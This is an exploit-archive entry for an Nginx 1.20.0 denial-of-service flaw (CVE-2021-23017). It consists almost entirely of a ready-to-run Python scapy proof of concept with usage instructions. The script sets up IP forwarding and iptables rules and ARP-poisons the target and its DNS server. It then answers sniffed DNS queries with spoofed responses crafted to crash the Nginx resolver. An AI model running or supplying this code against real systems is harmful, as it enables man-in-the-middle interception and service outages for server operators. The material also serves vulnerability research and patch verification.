Nginx 1.20.0 Denial Of Service

2022.07.12
Risk: Medium
Local: No
Remote: Yes
CWE: N/A

# Exploit Title: Nginx 1.20.0 - Denial of Service (DOS) # Date: 2022-6-29 # Exploit Author: Mohammed Alshehri - https://Github.com/M507 # Vendor Homepage: https://nginx.org/ # Software Link: https://github.com/nginx/nginx/releases/tag/release-1.20.0 # Version: 0.6.18 - 1.20.0 # Tested on: Ubuntu 18.04.4 LTS bionic # CVE: CVE-2021-23017 # The bug was discovered by X41 D-SEC GmbH, Luis Merino, Markus Vervier, Eric Sesterhenn # python3 poc.py --target 172.1.16.100 --dns_server 172.1.16.1 # The service needs to be configured to use Nginx resolver from scapy.all import * from multiprocessing import Process from binascii import hexlify, unhexlify import argparse, time, os def device_setup(): os.system("echo '1' >> /proc/sys/net/ipv4/ip_forward") os.system("iptables -A FORWARD -p UDP --dport 53 -j DROP") def ARPP(target, dns_server): print("[*] Sending poisoned ARP packets") target_mac = getmacbyip(target) dns_server_mac = getmacbyip(dns_server) while True: time.sleep(2) send(ARP(op=2, pdst=target, psrc=dns_server, hwdst=target_mac),verbose = 0) send(ARP(op=2, pdst=dns_server, psrc=target, hwdst=dns_server_mac),verbose = 0) def exploit(target): print("[*] Listening ") sniff (filter="udp and port 53 and host " + target, prn = process_received_packet) """ RFC schema 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | LENGTH | ID | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Q| OPCODE|A|T|R|R|Z|A|C| RCODE | QDCOUNT | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | ANCOUNT | NSCOUNT | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | ARCOUNT | QD | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | AN | NS | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | AR | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Fig. DNS """ def process_received_packet(received_packet): if received_packet[IP].src == target_ip: if received_packet.haslayer(DNS): if DNSQR in received_packet: print("[*] the received packet: " + str(bytes_hex(received_packet))) print("[*] the received DNS request: " + str(bytes_hex(received_packet[DNS].build()))) try: # \/ the received DNS request dns_request = received_packet[DNS].build() null_pointer_index = bytes(received_packet[DNS].build()).find(0x00,12) print("[*] debug: dns_request[:null_pointer_index] : "+str(hexlify(dns_request[:null_pointer_index]))) print("[*] debug: dns_request[null_pointer_index:] : "+str(hexlify(dns_request[null_pointer_index:]))) payload = [ dns_request[0:2], b"\x81\x80\x00\x01\x00\x01\x00\x00\x00\x00", dns_request[12:null_pointer_index+1], dns_request[null_pointer_index+1:null_pointer_index+3], dns_request[null_pointer_index+3:null_pointer_index+5], b"\xC0\x0C\x00\x05\x00\x01\x00\x00\x0E\x10", b"\x00\x0B\x18\x41\x41\x41\x41\x41\x41\x41", b"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41", b"\x41\x41\x41\x41\x41\x41\x41\xC0\x04" ] payload = b"".join(payload) spoofed_pkt = (Ether()/IP(dst=received_packet[IP].src, src=received_packet[IP].dst)/\ UDP(dport=received_packet[UDP].sport, sport=received_packet[UDP].dport)/\ payload) print("[+] dns answer: "+str(hexlify(payload))) print("[+] full packet: " + str(bytes_hex(spoofed_pkt))) sendp(spoofed_pkt, count=1) print("\n[+] malicious answer was sent") print("[+] exploited\n") except: print("\n[-] ERROR") def main(): global target_ip parser = argparse.ArgumentParser() parser.add_argument("-t", "--target", help="IP address of the target") parser.add_argument("-r", "--dns_server", help="IP address of the DNS server used by the target") args = parser.parse_args() target_ip = args.target dns_server_ip = args.dns_server device_setup() processes_list = [] ARPPProcess = Process(target=ARPP,args=(target_ip,dns_server_ip)) exploitProcess = Process(target=exploit,args=(target_ip,)) processes_list.append(ARPPProcess) processes_list.append(exploitProcess) for process in processes_list: process.start() for process in processes_list: process.join() if __name__ == '__main__': target_ip = "" main()


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